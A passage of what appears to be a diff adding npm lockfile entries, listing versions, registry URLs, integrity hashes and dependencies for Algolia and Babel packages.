"https://registry.npmjs.org/@algolia/cache-in-memory/-/cache-in-memory-4.19.1.tgz", + "integrity": "sha512-+PDWL+XALGvIginigzu8oU6eWw+o76Z8zHbBovWYcrtWOEtinbl7a7UTt3x3lthv+wNuFr/YD1Gf+B+A9V8n5w==", + "requires": { + "@algolia/cache-common": "4.19.1" + } + }, + "@algolia/client-account": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-account/-/client-account-4.19.1.tgz", + "integrity": "sha512-Oy0ritA2k7AMxQ2JwNpfaEcgXEDgeyKu0V7E7xt/ZJRdXfEpZcwp9TOg4TJHC7Ia62gIeT2Y/ynzsxccPw92GA==", + "requires": { + "@algolia/client-common": "4.19.1", + "@algolia/client-search": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "@algolia/client-analytics": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-analytics/-/client-analytics-4.19.1.tgz", + "integrity": "sha512-5QCq2zmgdZLIQhHqwl55ZvKVpLM3DNWjFI4T+bHr3rGu23ew2bLO4YtyxaZeChmDb85jUdPDouDlCumGfk6wOg==", + "requires": { + "@algolia/client-common": "4.19.1", + "@algolia/client-search": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "@algolia/client-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-common/-/client-common-4.19.1.tgz", + "integrity": "sha512-3kAIVqTcPrjfS389KQvKzliC559x+BDRxtWamVJt8IVp7LGnjq+aVAXg4Xogkur1MUrScTZ59/AaUd5EdpyXgA==", + "requires": { + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "@algolia/client-personalization": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-personalization/-/client-personalization-4.19.1.tgz", + "integrity": "sha512-8CWz4/H5FA+krm9HMw2HUQenizC/DxUtsI5oYC0Jxxyce1vsr8cb1aEiSJArQT6IzMynrERif1RVWLac1m36xw==", + "requires": { + "@algolia/client-common": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "@algolia/client-search": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/client-search/-/client-search-4.19.1.tgz", + "integrity": "sha512-mBecfMFS4N+yK/p0ZbK53vrZbL6OtWMk8YmnOv1i0LXx4pelY8TFhqKoTit3NPVPwoSNN0vdSN9dTu1xr1XOVw==", + "requires": { + "@algolia/client-common": "4.19.1", + "@algolia/requester-common": "4.19.1", + "@algolia/transporter": "4.19.1" + } + }, + "@algolia/events": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@algolia/events/-/events-4.0.1.tgz", + "integrity": "sha512-FQzvOCgoFXAbf5Y6mYozw2aj5KCJoA3m4heImceldzPSMbdyS4atVjJzXKMsfX3wnZTFYwkkt8/z8UesLHlSBQ==" + }, + "@algolia/logger-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/logger-common/-/logger-common-4.19.1.tgz", + "integrity": "sha512-i6pLPZW/+/YXKis8gpmSiNk1lOmYCmRI6+x6d2Qk1OdfvX051nRVdalRbEcVTpSQX6FQAoyeaui0cUfLYW5Elw==" + }, + "@algolia/logger-console": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/logger-console/-/logger-console-4.19.1.tgz", + "integrity": "sha512-jj72k9GKb9W0c7TyC3cuZtTr0CngLBLmc8trzZlXdfvQiigpUdvTi1KoWIb2ZMcRBG7Tl8hSb81zEY3zI2RlXg==", + "requires": { + "@algolia/logger-common": "4.19.1" + } + }, + "@algolia/requester-browser-xhr": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.19.1.tgz", + "integrity": "sha512-09K/+t7lptsweRTueHnSnmPqIxbHMowejAkn9XIcJMLdseS3zl8ObnS5GWea86mu3vy4+8H+ZBKkUN82Zsq/zg==", + "requires": { + "@algolia/requester-common": "4.19.1" + } + }, + "@algolia/requester-common": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/requester-common/-/requester-common-4.19.1.tgz", + "integrity": "sha512-BisRkcWVxrDzF1YPhAckmi2CFYK+jdMT60q10d7z3PX+w6fPPukxHRnZwooiTUrzFe50UBmLItGizWHP5bDzVQ==" + }, + "@algolia/requester-node-http": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/requester-node-http/-/requester-node-http-4.19.1.tgz", + "integrity": "sha512-6DK52DHviBHTG2BK/Vv2GIlEw7i+vxm7ypZW0Z7vybGCNDeWzADx+/TmxjkES2h15+FZOqVf/Ja677gePsVItA==", + "requires": { + "@algolia/requester-common": "4.19.1" + } + }, + "@algolia/transporter": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/@algolia/transporter/-/transporter-4.19.1.tgz", + "integrity": "sha512-nkpvPWbpuzxo1flEYqNIbGz7xhfhGOKGAZS7tzC+TELgEmi7z99qRyTfNSUlW7LZmB3ACdnqAo+9A9KFBENviQ==", + "requires": { + "@algolia/cache-common": "4.19.1", + "@algolia/logger-common": "4.19.1", + "@algolia/requester-common": "4.19.1" + } + }, + "@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@babel/code-frame": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.10.tgz", + "integrity": "sha512-/KKIMG4UEL35WmI9OlvMhurwtytjvXoFcGNrOvyG9zIzA8YmPjVtIZUf7b05+TPO7G7/GEmLHDaoCgACHl9hhA==", + "requires": { + "@babel/highlight": "^7.22.10", + "chalk": "^2.4.2" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "@babel/compat-data": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz", + "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==" + }, + "@babel/core": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.10.tgz", + "integrity": "sha512-fTmqbbUBAwCcre6zPzNngvsI0aNrPZe77AeqvDxWM9Nm+04RrJ3CAmGHA9f7lJQY6ZMhRztNemy4uslDxTX4Qw==", + "requires": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.10", + "@babel/generator": "^7.22.10", + "@babel/helper-compilation-targets": "^7.22.10", + "@babel/helper-module-transforms": "^7.22.9", + "@babel/helpers": "^7.22.10", + "@babel/parser": "^7.22.10", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.10", + "@babel/types": "^7.22.10", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/generator": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.10.tgz", + "integrity": "sha512-79KIf7YiWjjdZ81JnLujDRApWtl7BxTqWD88+FFdQEIOG8LJ0etDOM7CXuIgGJa55sGOwZVwuEsaLEm0PJ5/+A==", + "requires": { + "@babel/types": "^7.22.10", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.10.tgz", + "integrity": "sha512-Av0qubwDQxC56DoUReVDeLfMEjYYSN1nZrTUrWkXd7hpU73ymRANkbuDm3yni9npkn+RXy9nNbEJZEzXr7xrfQ==", + "requires": { + "@babel/types": "^7.22.10" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.10.tgz", + "integrity": "sha512-JMSwHD4J7SLod0idLq5PKgI+6g/hLD/iuWBq08ZX49xE14VpVEojJ5rHWptpirV2j020MvypRLAXAO50igCJ5Q==", + "requires": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-validator-option": "^7.22.5", + "browserslist": "^4.21.9", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-create-class-features-plugin": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.10.tgz", + "integrity": "sha512-5IBb77txKYQPpOEdUdIhBx8VrZyDCQ+H82H0+5dX1TmuscP5vJKEE3cKurjtIw/vFwzbVH48VweE78kVDBrqjA==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-create-regexp-features-plugin": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.9.tgz", + "integrity": "sha512-+svjVa/tFwsNSG4NEy1h85+HQ5imbT92Q5/bgtS7P0GTQlP8WuFdqsiABmQouhiFGyV66oGxZFpeYHza1rNsKw==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.1" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-define-polyfill-provider": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.2.tgz", + "integrity": "sha512-k0qnnOqHn5dK9pZpfD5XXZ9SojAITdCKRn2Lp6rnDGzIbaP0rHyMPk/4wsSxVBVz4RfN0q6VpXWP2pDGIoQ7hw==", + "requires": { + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2" + } + }, + "@babel/helper-environment-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz", + "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==" + }, + "@babel/helper-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", + "requires": { + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-member-expression-to-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz", + "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-module-transforms": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz", + "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==", + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/helper-validator-identifier": "^7.22.5" + } + }, + "@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==" + }, + "@babel/helper-remap-async-to-generator": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.9.tgz", + "integrity": "sha512-8WWC4oR4Px+tr+Fp0X3RHDVfINGpF3ad1HIbrc8A77epiR6eMMc6jsgozkzT2uDiOOdoS9cLIQ+XD2XvI2WSmQ==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-wrap-function": "^7.22.9" + } + }, + "@babel/helper-replace-supers": { + "version": "7.22.9", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz", + "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==", + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5" + } + }, + "@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz", + "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-string-parser": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==" + }, + "@babel/helper-validator-identifier": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz", + "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==" + }, + "@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==" + }, + "@babel/helper-wrap-function": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.10.tgz", + "integrity": "sha512-OnMhjWjuGYtdoO3FmsEFWvBStBAe2QOgwOLsLNDjN+aaiMD8InJk1/O3HSD8lkqTjCgg5YI34Tz15KNNA3p+nQ==", + "requires": { + "@babel/helper-function-name": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.10" + } + }, + "@babel/helpers": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.10.tgz", + "integrity": "sha512-a41J4NW8HyZa1I1vAndrraTlPZ/eZoga2ZgS7fEr0tZJGVU4xqdE80CEm0CcNjha5EZ8fTBYLKHF0kqDUuAwQw==", + "requires": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.10", + "@babel/types": "^7.22.10" + } + }, + "@babel/highlight": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.10.tgz", + "integrity": "sha512-78aUtVcT7MUscr0K5mIEnkwxPE0MaxkR5RxRwuHaQ+JuU5AmTPhY+do2mdzVTnIJJpyBglql2pehuBIWHug+WQ==", + "requires": { + "@babel/helper-validator-identifier": "^7.22.5", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "@babel/parser": { + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.10.tgz", + "integrity": "sha512-lNbdGsQb9ekfsnjFGhEiF4hfFqGgfOP3H3d27re3n+CGhNuTSUEQdfWk556sTLNTloczcdM5TYF2LhzmDQKyvQ==" + }, + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.22.5.tgz", + "integrity": "sha512-NP1M5Rf+u2Gw9qfSO4ihjcTGW5zXTi36ITLd4/EoAcEhIZ0yjMqmftDNl3QC19CX7olhrjpyU454g/2W7X0jvQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5" + } + }, + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz", + "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==", + "requires": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.5" + } + }, + "@babel/plugin-proposal-object-rest-spread": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.12.1.tgz", + "integrity": "sha512-s6SowJIjzlhx8o7lsFx5zmY4At6CTtDvgNQDdPzkBQucle58A6b/TTeEBYtyDgmcXjUTM+vE8YOGHZzzbc/ioA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.0", + "@babel/plugin-transform-parameters": "^7.12.1" + } + }, + "@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "requires": {} + }, + "@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + 